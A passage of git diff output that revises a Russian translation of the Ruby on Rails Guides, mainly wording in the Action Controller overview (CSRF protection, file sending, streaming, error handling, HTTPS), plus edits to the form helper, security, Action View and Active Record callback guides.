добавляя, изменяя или удаляя данные на этом сайте без ведома или разрешения пользователя. +Подделка межсайтовых запросов (cross-site request forgery) - это тип атаки, в которой сайт обманом заставляет пользователя сделать запрос на другой сайт, возможно, добавляя, изменяя или удаляя данные на этом сайте без ведома или разрешения пользователя. -Первый шаг в избегании этого - убедиться, что все "разрушительные" экшны (создание, обновление и уничтожение) могут быть доступны только не-GET запросам. Если вы следуете соглашениям RESTful, то уже делаете это. Однако, сайт злоумышленника может также легко послать не-GET запрос на ваш сайт, поэтому и необходима защита от подделки запросов. Как следует из ее имени, она защищает от подделанных запросов. +Первый шаг, чтобы избежать это - убедиться, что все "разрушительные" экшны (создание, обновление и уничтожение) могут быть доступны только не-GET запросам. Если вы следуете соглашениям RESTful, то уже делаете это. Однако, сайт злоумышленника может также легко послать не-GET запрос на ваш сайт, поэтому и необходима защита от подделки запросов. Как сказано в названии, он защищает от подделки запросов. Это можно сделать, добавив неугадываемый токен, известный только вашему серверу, в каждый запрос. При этом способе, если запрос приходит без подходящего токена, ему будет отказано в доступе. @@ -770,12 +752,12 @@ Rails добавит этот токен в каждую форму, генер `form_authenticity_token` создает валидный аутентификационный токен. Его полезно помещать в места, куда Rails не добавляет его автоматически, например в произвольные вызовы Ajax. -В [Руководстве по безопасности](/ruby-on-rails-security-guide) имеется более подробная информация об этом, и множество других вопросов, посвященных безопасности, которые вы должны принимать во внимание при разработке веб приложения. +В [Руководстве по безопасности](/ruby-on-rails-security-guide) имеется более подробная информация об этом, и множество других вопросов, посвященных безопасности, которые вы должны принимать во внимание при разработке веб-приложения. (the-request-and-response-objects) Объекты Request и Response ------------------------------------------------------------- -В каждом контроллере есть два accessor-метода, указывающих на объекты запроса и отклика, связанные с циклом запроса, находящегося в текущее время на исполнении. Метод `request` содержит экземпляр `ActionDispatch::Request`, а метод `response` возвращает объект отклика, представляющий то, что собирается быть отправлено обратно на клиента. +В каждом контроллере есть два accessor-метода, указывающих на объекты запроса и отклика, связанные с циклом запроса, находящегося в текущее время на исполнении. Метод `request` содержит экземпляр `ActionDispatch::Request`, а метод `response` возвращает объект отклика, представляющий то, что будет отправлено обратно на клиента. ### Объект `request` @@ -789,24 +771,24 @@ Rails добавит этот токен в каждую форму, генер | method | Метод HTTP, использованного для запроса. | | get?, post?, patch?, put?, delete?, head? | Возвращает true, если метод HTTP - это GET/POST/PATCH/PUT/DELETE/HEAD. | | headers | Возвращает хэш, содержащий заголовки, связанные с запросом. | -| port | Номер порта (число), использованного для запроса. | +| port | Номер порта (целое число), использованного для запроса. | | protocol | Возвращает строку, содержащую использованный протокол плюс "://", например "http://". | -| query_string | Часть URL со строкой запроса, т.е. все после "?". | +| query_string | Часть URL со строкой запроса, т.е. все после "?". | | remote_ip | Адрес IP клиента. | | url | Полный URL, использованный для запроса. | #### `path_parameters`, `query_parameters` и `request_parameters` -Rails собирает все параметры, посланные вместе с запросом, в хэше `params`, были ли они посланы как часть строки запроса, либо в теле запроса post. У объекта request имеется три метода доступа, которые дают доступ к этим параметрам в зависимости от того, откуда они пришли. Хэш `query_parameters` содержит параметры, посланные как часть строки запроса, а хэш `request_parameters` содержит параметры, посланные как часть тела post. Хэш `path_parameters` содержит параметры, распознанные роутингом как часть пути, ведущего к определенному контроллеру и экшну. +Rails собирает все параметры, посланные вместе с запросом, в хэше `params`, были ли они посланы как часть строки запроса, либо в теле запроса post. У объекта request имеется три accessor-метода, которые предоставляют доступ к этим параметрам в зависимости от того, откуда они пришли. Хэш `query_parameters` содержит параметры, посланные как часть строки запроса, в то время как хэш `request_parameters` содержит параметры, посланные как часть тела post. Хэш `path_parameters` содержит параметры, распознанные роутингом как часть пути, ведущего к определенному контроллеру и экшну. ### Объект `response` -Объект response обычно не используется напрямую, но он создается в течение исполнения экшна и рендеринга данных, которые посылаются обратно пользователю, но иногда - например, в последующем фильтре - бывает полезно иметь доступ к отклику напрямую. Некоторые из этих методов доступа имеют настройки, позволяющие изменять их значения. Чтобы получить полный перечень доступных методов, обратитесь к [документации по Rails API](http://api.rubyonrails.org/classes/ActionDispatch/Response.html) и [документации по Rack](http://www.rubydoc.info/github/rack/rack/Rack/Response). +Объект response обычно не используется напрямую, но он создается в течение исполнения экшна и рендеринга данных, которые посылаются обратно пользователю, но иногда - например, в последующем фильтре - бывает полезно иметь доступ к отклику напрямую. Некоторые из этих accessor-методов имеют сеттеры, позволяющие изменять их значения. Чтобы получить полный перечень доступных методов, обратитесь к [документации по Rails API](http://api.rubyonrails.org/classes/ActionDispatch/Response.html) и [документации по Rack](http://www.rubydoc.info/github/rack/rack/Rack/Response). | Свойство `response` | Назначение | | ------------------- | ------------------------------------------------------------------------------------------------- | -| body | Это строка данных, которая будет возвращена клиенту. Часто это HTML. | -| status | Код статуса HTTP для отклика, например 200 для успешного отклика или 404 для ненайденного файла. | +| body | Это строка данных, которая будет возвращена клиенту. Чаще всего это HTML. | +| status | Код статуса HTTP для отклика, например 200 для успешного запроса или 404 для ненайденного файла. | | location | URL, по которому клиент будет перенаправлен, если указан. | | content_type | Тип содержимого отклика. | | charset | Кодировка, используемая для отклика. По умолчанию это "utf-8". | @@ -814,7 +796,7 @@ Rails собирает все параметры, посланные вмест #### Установка пользовательских заголовков -Если хотите установить произвольные заголовки для отклика, то `response.headers` - как раз то место, что нужно. Атрибут заголовков - это хэш, который связывает имена заголовков с их значениями, и Rails устанавливает некоторые из них автоматически. Если хотите добавить или изменить заголовок, назначьте его `response.headers` следующим образом: +Если хотите установить произвольные заголовки для отклика, то `response.headers` - как раз то место, что нужно. Атрибут headers - это хэш, который связывает имена заголовков с их значениями, а Rails устанавливает некоторые из них автоматически. Если нужно добавить или изменить заголовок, просто назначьте его `response.headers` следующим образом: ```ruby response.headers["Content-Type"] = "application/pdf" @@ -832,7 +814,7 @@ Rails поставляется с двумя встроенными механи ### Простая аутентификация HTTP -Простая аутентификация HTTP - это аутентификационная схема, поддерживаемая большинством браузеров и других клиентов HTTP. Как пример, рассмотрим административный раздел, который доступен только при вводе имени пользователя и пароля в основном диалоговом окне браузера. Использование встроенной аутентификации достаточно простое, и требует использования одного метода `http_basic_authenticate_with`. +Простая аутентификация HTTP - это аутентификационная схема, поддерживаемая большинством браузеров и других клиентов HTTP. Как пример, рассмотрим административный раздел, который доступен только при вводе имени пользователя и пароля в основном диалоговом окне браузера. Использование встроенной аутентификации достаточно простое и требует использования одного метода `http_basic_authenticate_with`. ```ruby class AdminsController < ApplicationController @@ -840,7 +822,7 @@ class AdminsController < ApplicationController end ``` -Разместив это, можете создавать именованные контроллеры, наследуемые от `AdminsController`. Таким образом, предварительный фильтр будет запущен для всех экшнов в этих контроллерах, защищая их с помощью основной аутентификации `HTTP`. +Благодаря этому можно создавать именованные контроллеры, наследуемые от `AdminsController`. Таким образом, предварительный фильтр будет запущен для всех экшнов в этих контроллерах, защищая их с помощью основной аутентификации `HTTP`. ### Digest аутентификация HTTP @@ -895,7 +877,7 @@ class ClientsController < ApplicationController end ``` -Экшн `download_pdf` в примере вызовет private метод, который фактически создаст документ PDF и возвратит его как строку. Эта строка будет направлена клиенту как загрузка файла, и пользователю будет предложено имя файла. Иногда при передаче файлов пользователю, вы можете не захотеть, чтобы их скачивали. Принятие изображений, к примеру, которое может быть внедрено в страницы HTML. Чтобы сказать браузеру, что файл не подразумевает быть скачанным, нужно установить опцию `:disposition` как "inline". Противоположное и дефолтное значение этой опции - `"attachment`. +Экшн `download_pdf` в примере вызовет private метод, который фактически создаст документ PDF и возвратит его как строку. Эта строка будет направлена клиенту как загрузка файла, и пользователю будет предложено имя файла. Иногда при потоковой передаче файлов пользователю может не потребоваться загрузка файла. Возьмите, например, изображения, которые могут быть встроены в страницы HTML. Чтобы сказать браузеру, что файл файл не предназначен для скачивания, нужно установить опцию `:disposition` как "inline". Противоположное дефолтное значение этой опции - "attachment". ### Отправка файлов @@ -903,7 +885,7 @@ end ```ruby class ClientsController < ApplicationController - # Передача файла, который уже был создан и сохранен на диск. + # Потоковая передача файла, который уже был создан и сохранен на диск. def download_pdf client = Client.find(params[:id]) send_file("#{Rails.root}/files/clients/#{client.id}.pdf", @@ -913,17 +895,17 @@ class ClientsController < ApplicationController end ``` -Это прочтет и передаст файл блоками в 4kB за раз, что избегает загрузки целого файла в память единовременно. Можете отключить потоковость с помощью опции `:stream` или отрегулировать размер блока с помощью опции `:buffer_size`. +Это прочтет и передаст файл блоками в 4kB за раз, избегая загрузки в память сразу целого файла. Можно отключить потоковую передачу с помощью опции `:stream` или отрегулировать размер блока с помощью опции `:buffer_size`. -Если не указан `:type`, он будет угадан по расширению файла, указанного в `:filename`. Если для расширения не зарегистрирован тип содержимого, будет использован `application/octet-stream`. +Если не указан `:type`, он будет определяться по расширению файла, указанного в `:filename`. Если для расширения не зарегистрирован тип содержимого, будет использован `application/octet-stream`. -WARNING: Будьте осторожны, когда используете данные, пришедшие с клиента (params, куки и т.д.), для обнаружения файла на диске, так как есть риск безопасности в том, что кто-то может получить доступ к файлам, к которым они не должны. +WARNING: Будьте осторожны, когда используете данные, пришедшие с клиента (params, куки и т.д.), для обнаружения файла на диске, так как есть риск безопасности в том, что кто-то может получить доступ к файлам, к которым иметь он не должен. -TIP: Не рекомендуется передавать статичные файлы через Rails, если можно вместо этого разместить их в папке public на Вашем веб сервере. Более эффективно разрешить пользователям скачивать файлы напрямую, используя Apache или другой веб сервер, сохраняя запрос от ненужного прогона через весь стек Rails. +TIP: Не рекомендуется передавать в потоке статичные файлы через Rails, если можно вместо этого разместить их в папке public на веб-сервере. Более эффективно разрешить пользователям скачивать файлы напрямую, используя Apache или другой веб-сервер, сохраняя запрос от ненужного прогона через весь стек Rails. ### Загрузка RESTful -Хотя `send_data` работает прекрасно, если вы создаете приложение на принципах RESTful, наличие отдельных экшнов для загрузок файла обычно не рекомендовано. В терминологии REST, файл PDF из примера выше можно считать еще одним представлением ресурса client. Rails предоставляет простой и наглядный способ осуществления загрузок в стиле RESTful. Вот как можно переписать пример так, что загрузка PDF является частью экшна `show`, без какой-либо потоковости: +Хотя `send_data` работает прекрасно, если вы создаете приложение на принципах RESTful, наличие отдельных экшнов для загрузок файла обычно не требуется. В терминологии REST файл PDF из вышеприведенного примера можно рассматривать еще одним представлением ресурса client. Rails предоставляет простой и наглядный способ осуществления загрузок в стиле RESTful. Вот как можно переписать пример, чтобы загрузка PDF была частью экшна `show` без какой-либо потоковой передачи: ```ruby class ClientsController < ApplicationController @@ -939,7 +921,7 @@ class ClientsController < ApplicationController end ``` -Для того, чтобы этот пример заработал, нужно добавить PDF тип MIME в Rails. Это выполняется добавлением следующей строки в файл `config/initializers/mime_types.rb`: +Для того, чтобы этот пример заработал, нужно добавить PDF тип MIME в Rails. Это можно сделать, добавив следующую строку в файл `config/initializers/mime_types.rb`: ```ruby Mime::Type.register "application/pdf", :pdf @@ -955,11 +937,11 @@ GET /clients/1.pdf ### (Live Streaming of Arbitrary Data) Live Streaming произвольных данных -Rails позволяет отдавать в потоке не только файлы. Фактически в объекте отклика можно отдать все, что хотите. Модуль `ActionController::Live` позволяет создать постоянное соединение с браузером. Используя этот модуль, можно послать в браузер произвольные данные в определенные моменты времени. +Rails позволяет отдавать в потоке не только файлы. Фактически, в объекте отклика можно отдать все, что хотите. Модуль `ActionController::Live` позволяет создать постоянное соединение с браузером. Используя этот модуль, можно послать в браузер произвольные данные в определенные моменты времени. #### Подключение Live Streaming -Включение `ActionController::Live` в класс вашего контроллера представит всем экшнам контроллера возможность отдавать данные в потоке. Этот модуль можно включить следующим образом: +Включение `ActionController::Live` в класс вашего контроллера предоставит всем экшнам контроллера возможность отдавать данные в потоке. Этот модуль можно включить следующим образом: ```ruby class MyController < ActionController::Base @@ -977,15 +959,15 @@ class MyController < ActionController::Base end ``` -Вышеприведенный код будет поддерживать постоянное соединение с браузером, и пошлет 100 сообщений `"hello world\n"`, раз в секунду каждое. +Вышеприведенный код будет поддерживать постоянное соединение с браузером и пошлет 100 сообщений `"hello world\n"`, раз в секунду каждое. -В вышеприведенном примере нужно обратить внимание на ряд вещей. Необходимо убедиться, что потоковый отклик будет закрыт. Если забыть закрыть, поток оставит навсегда открытым сокет. Также необходимо установить тип содержимого `text/event-stream` до записи в поток отклика. Это так, потому что заголовки не могут быть записаны после того, как отклик был подтвержден (когда `response.committed?` возвращает истинное значение), что случается, когда вы вызывает `write` или `commit` для потокового отклика. +В вышеприведенном примере нужно обратить внимание на ряд вещей. Необходимо убедиться, что потоковый отклик будет закрыт. Если забыть закрыть, поток оставит навсегда открытым сокет. Также необходимо установить тип содержимого `text/event-stream` до записи в поток отклика. Это так, потому что заголовки не могут быть записаны после того, как отклик был совершен (когда `response.committed?` возвращает истинное значение), которое возникает, когда вызывается `write` или `commit` для потокового отклика. #### Пример использования Предположим, мы создаем машину караоке, и пользователь хочет получить слова для определенной песни. В каждом `Song` имеется определенное количество строчек, и у каждой строчки есть время `num_beats` для завершения пения. -Если мы хотим возвращать слова в манере караоке (посылая строчку, только когда певец закончил предыдущую), можно использовать `ActionController::Live` следующим образом: +Если мы хотим возвращать слова по принципу караоке (посылая строчку, только когда певец закончил предыдущую), можно использовать `ActionController::Live` следующим образом: ```ruby class LyricsController < ActionController::Base @@ -1007,22 +989,22 @@ end Вышеприведенный код посылает следующую строчку только после того, как певец завершил предыдущую строчку. -#### Обсуждение Streaming +#### Обсуждение потоковой передачи -Streaming произвольных данных – чрезвычайно мощный инструмент. Как показано в предыдущих примерах, вы можете выбирать, когда и что посылать в потоковом отклике. Однако, также необходимо отметить следующие вещи: +Потоковая передача произвольных данных – чрезвычайно мощный инструмент. Как показано в предыдущих примерах, можно выбирать, когда и что посылать в потоковом отклике. Однако, также необходимо отметить следующие вещи: * Каждый потоковый отклик создает новый тред и копирует локальные переменные из текущего треда. Наличие большого количество тредовых локальных переменных может отрицательно сказаться на производительности. Большое количество тредов также препятствует производительности. * Незакрытие потокового отклика оставит соответствующий сокет открытым навсегда. Убедитесь, что вызываете `close` при использовании потокового отклика. -* Сервера WEBrick буферизируют все отклики, поэтому включение `ActionController::Live` не будет работать. Необходимо использовать веб-сервер, не буферизирующий отклики автоматически. +* Серверы WEBrick буферизируют все отклики, поэтому включение `ActionController::Live` не будет работать. Необходимо использовать веб-сервер, не буферизирующий отклики автоматически. Фильтрация лога --------------- -Rails ведет лог-файл для каждой среды в папке `log`. Это чрезвычайно полезно при отладке, что мы уже фактически наблюдали в вашем приложении, но в реальной жизни вам может быть не нужно хранение каждого бита информации в лог-файле. +Rails ведет лог-файл для каждой среды в папке `log`. Это чрезвычайно полезно при отладке того, что происходит в приложении, но в реальной жизни может быть не нужно хранение каждого бита информации в лог-файле. ### Фильтрация параметров -Можно фильтровать конфиденциальные параметры запросов в файлах лога, присоединив их к `config.filter_parameters` в настройках приложения. Эти параметры будут помечены в логе как [FILTERED]. +Можно фильтровать конфиденциальные параметры запроса в файлах лога, присоединив их к `config.filter_parameters` в настройках приложения. Эти параметры будут помечены в логе как [FILTERED]. ```ruby config.filter_parameters << :password @@ -1049,19 +1031,19 @@ config.filter_redirect.concat ['s3.amazonaws.com', /private_path/] Обработка ошибок ---------------- -Скорее всего, ваше приложение будет содержать ошибки или, другими словами, вызывать исключения, которые нужно обработать. Например, если пользователь проходит по ссылке на ресурс, который больше не существует в базе данных, Active Record вызовет исключение `ActiveRecord::RecordNotFound`. +Скорее всего, ваше приложение будет содержать ошибки или, другими словами, вызывать исключения, которые нужно обработать. Например, если пользователь переходит по ссылке на ресурс, который больше не существует в базе данных, Active Record вызовет исключение `ActiveRecord::RecordNotFound`. -Дефолтный обработчик исключений Rails отображает сообщение "500 Server Error" для всех исключений. Если запрос сделан локально, отображается прекрасная трассировка и некоторая дополнительная информация, так что вы можете выяснить, что пошло не так, и разобраться с этим. Если запрос был удаленным, Rails отобразит пользователю лишь простое сообщение "500 Server Error", или "404 Not Found", если была проблема с роутингом или запись не была найдена. Иногда вы захотите настроить, как эти ошибки будут перехвачены, и как они будут отображены пользователю. В приложении на Rails доступны несколько уровней обработки исключений: +Дефолтный обработчик исключений Rails отображает сообщение "500 Server Error" для всех исключений. Если запрос сделан локально, отображается прекрасная трассировка и добавляется дополнительная информация, чтобы можно было выяснить, что пошло не так, и разобраться с этим. Если запрос был удаленным, Rails отобразит пользователю лишь простое сообщение "500 Server Error", или "404 Not Found", если была проблема с роутингом или запись не была найдена. Иногда может понадобиться настроить, как эти ошибки будут перехвачены и как они будут отображены пользователю. В приложении на Rails доступны несколько уровней обработки исключений: ### Дефолтные шаблоны 500 и 404 -По умолчанию приложение в среде production будет рендерить или 404, или 500 сообщение об ошибке, в среде development будут вызываться все необрабатываемые исключения. Эти сообщения содержатся в статичных файлах HTML в папке `public`, в `404.html` и `500.html` соответственно. Можете настроить эти файлы, добавив дополнительную информацию и стили, но помните, что они статичны; т.е. нельзя использовать ERB, SCSS, CoffeeScript или макеты для них. +По умолчанию приложение в среде production будет рендерить или 404, или 500 сообщение об ошибке, в среде development будут вызываться все необрабатываемые исключения. Эти сообщения содержатся в статичных файлах HTML в папке `public`, в `404.html` и `500.html` соответственно. Можно настроить эти файлы, добавив дополнительную информацию и стили, но помните, что они статичные; т.е. нельзя использовать ERB, SCSS, CoffeeScript или макеты для них. ### `rescue_from` -Если хотите сделать нечто более сложное при перехвате ошибок, можете использовать `rescue_from`, которая управляет исключениями определенного типа (или нескольких типов) во всем контроллере и его подклассах. +Если хотите сделать нечто более сложное при перехвате ошибок, можете использовать `rescue_from`, которая обрабатывает исключениями определенного типа (или нескольких типов) во всем контроллере и его подклассах. -Когда происходит исключение, которое перехватывается директивой `rescue_from`, сбойный объект передается в обработчик. Обработчик может быть методом или объектом `Proc`, переданным опции `:with`. Также можно использовать блок вместо объекта `Proc`. +Когда возникает исключение, которое перехватывается директивой `rescue_from`, объект исключения передается в обработчик. Обработчик может быть методом или объектом `Proc`, переданным опции `:with`. Также можно использовать блок вместо объекта `Proc`. Вот как можно использовать `rescue_from` для перехвата всех ошибок `ActiveRecord::RecordNotFound` и что-то с ними делать. @@ -1092,10 +1074,10 @@ class ApplicationController < ActionController::Base end class ClientsController < ApplicationController - # Проверим, что пользователь имеет права доступа к клиентам. + # Проверим, что пользователь имеет права авторизации для доступа к клиентам. before_action :check_authorization - # Отметим как экшны не беспокоятся об авторизационных делах. + # Отметьте, как экшны не беспокоятся об авторизационных делах. def edit @client = Client.find(params[:id]) end @@ -1109,16 +1091,16 @@ class ClientsController < ApplicationController end ``` -WARNING: Не следует делать `rescue_from Exception` или `rescue_from StandardError`, если у вас нет веской причины, так как это вызовет серьезные сторонние эффекты (например, вы не сможете увидеть подробности и трейс исключения при разработке). +WARNING: Не следует делать `rescue_from Exception` или `rescue_from StandardError`, если у вас нет веской причины, так как это вызовет серьезные побочные эффекты (например, вы не сможете увидеть подробности и трейс исключения при разработке). NOTE: При запуске в среде running production все ошибки `ActiveRecord::RecordNotFound` рендерят страницу ошибки 404. Если вам не нужно другое поведение, их не нужно обрабатывать. -NOTE: Некоторые исключения перехватываемы только из класса `ApplicationController`, так как они вызываются до того, как контроллер будет инициализирован, и экшны будут выполнены. +NOTE: Некоторые исключения перехватываемы только из класса `ApplicationController`, так как они вызываются до того, как контроллер будет инициализирован и экшны будут выполнены. Навязывание протокола HTTPS --------------------------- -Иногда хочется навязать определенному контроллеру быть доступным только через протокол HTTPS по причинам безопасности. Можно использовать в контроллере метод `force_ssl`, для принуждения к этому: +Иногда хочется навязать определенному контроллеру быть доступным только через протокол HTTPS по причинам безопасности. Можно использовать в контроллере метод `force_ssl` для принуждения к этому: ```ruby class DinnerController @@ -1126,7 +1108,7 @@ class DinnerController end ``` -подобно фильтру, можно также передать `:only` и `:except` для принуждения безопасного соединения только определенным экшнам. +Подобно фильтру, можно также передать `:only` и `:except` для обеспечения безопасного соединения только определенным экшнам. ```ruby class DinnerController @@ -1136,4 +1118,4 @@ class DinnerController end ``` -Пожалуйста, отметьте, что если вы добавили `force_ssl` во многие контроллеры, то, возможно, вместо этого хотите навязать всему приложению использование HTTPS. В этом случае можно установить `config.force_ssl` в файле окружения. +Пожалуйста, отметьте, что если добавить `force_ssl` во многие контроллеры, то, возможно, вместо этого можно заставить все приложение использовать HTTPS. В этом случае можно установить `config.force_ssl` в файле окружения. diff --git a/source/form_helpers.md b/source/form_helpers.md index 8a6a6492..b8deb5aa 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -467,7 +467,7 @@ WARNING: Когда отсутствует `:include_blank` или `:prompt`, `: <% end %> ``` -WARNING: При использовании `select` (или подобных хелперов, таких как `collection_select`, `select_tag`), чтобы установить связь `belongs_to`, необходимо передать имя внешнего ключа (в примере выше `city_id`), а не само имя связи. Если указать `city` вместо `city_id`, Active Record вызовет ошибку в строке `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)`, когда будет переваться хэш `params` в `Person.new` или `update`. Можно взглянуть на это по другому, что хелперы форм только редактируют атрибуты. Также стоит побеспокоиться о возможных последствиях безопасности, если разрешить пользователям редактировать внешние ключи напрямую. +WARNING: При использовании `select` (или подобных хелперов, таких как `collection_select`, `select_tag`), чтобы установить связь `belongs_to`, необходимо передать имя внешнего ключа (в примере выше `city_id`), а не само имя связи. Если указать `city` вместо `city_id`, Active Record вызовет ошибку в строке `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)`, когда будет передаваться хэш `params` в `Person.new` или `update`. Можно взглянуть на это по другому, что хелперы форм только редактируют атрибуты. Также стоит побеспокоиться о возможных последствиях безопасности, если разрешить пользователям редактировать внешние ключи напрямую. ### Теги варианта выбора из коллекции произвольных объектов @@ -572,7 +572,7 @@ Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, pa ### Общие опции -Оба семейства хелперов используют одинаковый базовый набор функций для создания индивидуальных тегов select, таким образом, они оба принимают в основном одинаковые опции. В частности, по умолчанию Rails создаст варианты выбора года как текущий год плюс/минус пять лет. Если это неподходящий диапазон, опции `:start_year` и `:end_year` переопределяют это. Для полного списока доступных опции обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). +Оба семейства хелперов используют одинаковый базовый набор функций для создания индивидуальных тегов select, таким образом, они оба принимают в основном одинаковые опции. В частности, по умолчанию Rails создаст варианты выбора года как текущий год плюс/минус пять лет. Если это неподходящий диапазон, опции `:start_year` и `:end_year` переопределяют это. Для полного списка доступных опции обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). Как правило, следует использовать `date_select` при работе с объектами модели и `select_date` в иных случаях, например, таких как форма поиска, которая фильтрует результаты по дате. @@ -771,7 +771,7 @@ WARNING: Параметры массива не очень хорошо рабо {'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} ``` -Rails знает, что все эти поля ввода должны быть частью хэша person, так как `fields_for` вызвается для первого form builder. Определив опцию `:index`, сообщается Rails, что вместо именования полей ввода `person[address][city]`, он должен вставить индекс, заключенный в [], между address и city. Это часто бывает полезно, так как тогда просто обнаружить, какая запись Address должна быть изменена. Также можно передавать числа с некоторым другим значением, строками или даже `nil` (который приведет к созданию параметра в массиве). +Rails знает, что все эти поля ввода должны быть частью хэша person, так как `fields_for` вызывается для первого form builder. Определив опцию `:index`, сообщается Rails, что вместо именования полей ввода `person[address][city]`, он должен вставить индекс, заключенный в [], между address и city. Это часто бывает полезно, так как тогда просто обнаружить, какая запись Address должна быть изменена. Также можно передавать числа с некоторым другим значением, строками или даже `nil` (который приведет к созданию параметра в массиве). Чтобы создать более замысловатые вложения, можно явно указать первую часть имени поля ввода (`person[address]` в предыдущем примере): diff --git a/source/security.md b/source/security.md index 415246ba..aed7deab 100644 --- a/source/security.md +++ b/source/security.md @@ -1031,6 +1031,6 @@ Rails.application.secrets.some_api_key! # => вызовет KeyError: key not fo Картина безопасности меняется, и важно идти в ногу со временем, поскольку пропуск новой уязвимости может быть катастрофическим. Ниже перечислены дополнительные источники о безопасности (Rails): * Подпишитесь на [рассылку](http://groups.google.com/group/rubyonrails-security) о безопасности Rails. -* [Brakeman - cканер безопасности Rails](http://brakemanscanner.org/) - Для выполнения статического анализа безопасности для Rails приложений. +* [Brakeman - сканер безопасности Rails](http://brakemanscanner.org/) - Для выполнения статического анализа безопасности для Rails приложений. * [Будьте в курсе о других уровнях приложений](http://secunia.com/) (у них тоже есть еженедельная рассылка). * [Хороший блог по безопасности](https://www.owasp.org), включающий [Шпаргалку по XSS.](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) From 4d493e48860753bc5f0bd1d3c71dfaeca1880b43 Mon Sep 17 00:00:00 2001 From: ydakuka Date: Tue, 25 Jul 2017 20:43:33 +0300 Subject: [PATCH 324/932] update 24.07 --- source/action_controller_overview.md | 2 +- source/action_view_overview.md | 32 -------------- source/active_record_callbacks.md | 29 ++++++++++++ source/active_support_core_extensions.md | 3 +- source/command_line.md | 3 +- source/configuring.md | 17 +++++++ source/getting_started.md | 2 +- source/i18n.md | 19 +++++++- source/index.yml | 56 ++++++++++++------------ source/initialization.md | 2 +- source/layouts_and_rendering.md | 4 +- source/routing.md | 2 +- source/testing.md | 8 ++-- source/upgrading_ruby_on_rails.md | 10 +++++ 14 files changed, 115 insertions(+), 74 deletions(-) diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index 813fb8b4..0a2846c0 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -1109,7 +1109,7 @@ class ClientsController < ApplicationController end ``` -WARNING: Не следует делать `rescue_from Exception` или `rescue_from StandardError`, если у вас нет веской причины, так как это вызовет серьезные сторонние эффекты (например, вы не сможете увидеть подробности и трейс исключения при разработке). +WARNING: Использование `rescue_from` c `Exception` или `StandardError` вызовет серьезные побочные эффекты, поскольку это препятствует Rails правильно обрабатывать исключения. Таким образом, это не рекомендуется делать, если нет для того веской причины. NOTE: При запуске в среде running production все ошибки `ActiveRecord::RecordNotFound` рендерят страницу ошибки 404. Если вам не нужно другое поведение, их не нужно обрабатывать. diff --git a/source/action_view_overview.md b/source/action_view_overview.md index 45713067..6fa78b04 100644 --- a/source/action_view_overview.md +++ b/source/action_view_overview.md @@ -448,25 +448,6 @@ image_tag("icon.png") # => Icon javascript_include_tag "common" # => ``` -Если приложение не использует файлопровод, чтобы включить JavaScript библиотеку jQuery, передайте `:defaults` как источник. При использовании `:defaults`, если существует `application.js` в директории `app/assets/javascripts`, он также будет включен. - -```ruby -javascript_include_tag :defaults -``` - -Также можно включить все файлы JavaScript в директории `app/assets/javascripts` с помощью `:all` в качестве источника. - -```ruby -javascript_include_tag :all -``` - -Также можно кэшировать несколько файлов JavaScript в один файл, что требует меньше HTTP-соединений для скачивания и может быть лучше сжато gzip (что сделает передачу быстрее). Кэширование произойдет, только если `ActionController::Base.perform_caching` установлена в true (по умолчанию для окружения production, но не для development). - -```ruby -javascript_include_tag :all, cache: true # => - -``` - #### javascript_path Вычисляет путь до ресурса JavaScript в директории `app/assets/javascripts`. Если у имени файла источника нет расширения, будет добавлено `.js`. Будут переданы полные пути от корня документа. Используется внутри `javascript_include_tag` для создания пути к скрипту. @@ -491,19 +472,6 @@ javascript_url "common" # => http://www.example.com/assets/common.js stylesheet_link_tag "application" # => ``` -Также можно включить все стили из директории таблиц стилей, используя `:all` в качестве источника: - -```ruby -stylesheet_link_tag :all -``` - -Также можно кэшировать несколько таблиц стилей в один файл, что требует меньше HTTP-соединений для скачивания и может быть лучше сжато gzip (что сделает передачу быстрее). Кэширование произойдет, только если `ActionController::Base.perform_caching` установлена в true (по умолчанию для окружения production, но не для development). - -```ruby -stylesheet_link_tag :all, cache: true -# => -``` - #### stylesheet_path Вычисляет путь до ресурса таблицы стилей в директории `app/assets/stylesheets`. Если у имени файла источника нет расширения, будет добавлено `.css`. Будут переданы полные пути от корня документа. Используется внутри `stylesheet_link_tag` для создания пути к таблице стилей. diff --git a/source/active_record_callbacks.md b/source/active_record_callbacks.md index 972fcb7e..d69f6381 100644 --- a/source/active_record_callbacks.md +++ b/source/active_record_callbacks.md @@ -421,3 +421,32 @@ end ``` WARNING: Колбэки `after_commit` и `after_rollback` вызываются для всех созданных, обновленных или удаленных моделей внутри блока транзакции. Однако, если какое-либо исключение вызовется в одном из этих колбэков, это исключение всплывет, и любые оставшиеся методы `after_commit` или `after_rollback` _не_ будут выполнены. По сути, если код вашего колбэка может вызвать исключение, нужно для него вызвать rescue, и обработать его в колбэке, чтобы позволить запуститься другим колбэкам. + +WARNING. Одновременное использование `after_create_commit` и `after_update_commit` в одной и той же модели переопределит колбэк, который был первым из них зарегистрирован. + +```ruby +class User < ApplicationRecord + after_create_commit :log_user_saved_to_db + after_update_commit :log_user_saved_to_db + + private + def log_user_saved_to_db + puts 'User was saved to database' + end +end + +# prints nothing +>> @user = User.create + +# updating @user +>> @user.save +=> User was saved to database +``` + +Чтобы зарегистрировать колбэки как для create, так и для update экшнов, используйте `after_commit`. + +```ruby +class User < ApplicationRecord + after_commit :log_user_saved_to_db, on: [:create, :update] +end +``` diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 26a7f218..ccfdbf15 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -913,8 +913,7 @@ a2.x # => 2, переопределено в a2 ```ruby module ActiveRecord class Base - class_attribute :table_name_prefix, instance_writer: false - self.table_name_prefix = "" + class_attribute :table_name_prefix, instance_writer: false, default: "my" end end ``` diff --git a/source/command_line.md b/source/command_line.md index 3d2c2264..ef43aa43 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -526,7 +526,8 @@ Rails поставляется с набором тестов по имени `M * `rails 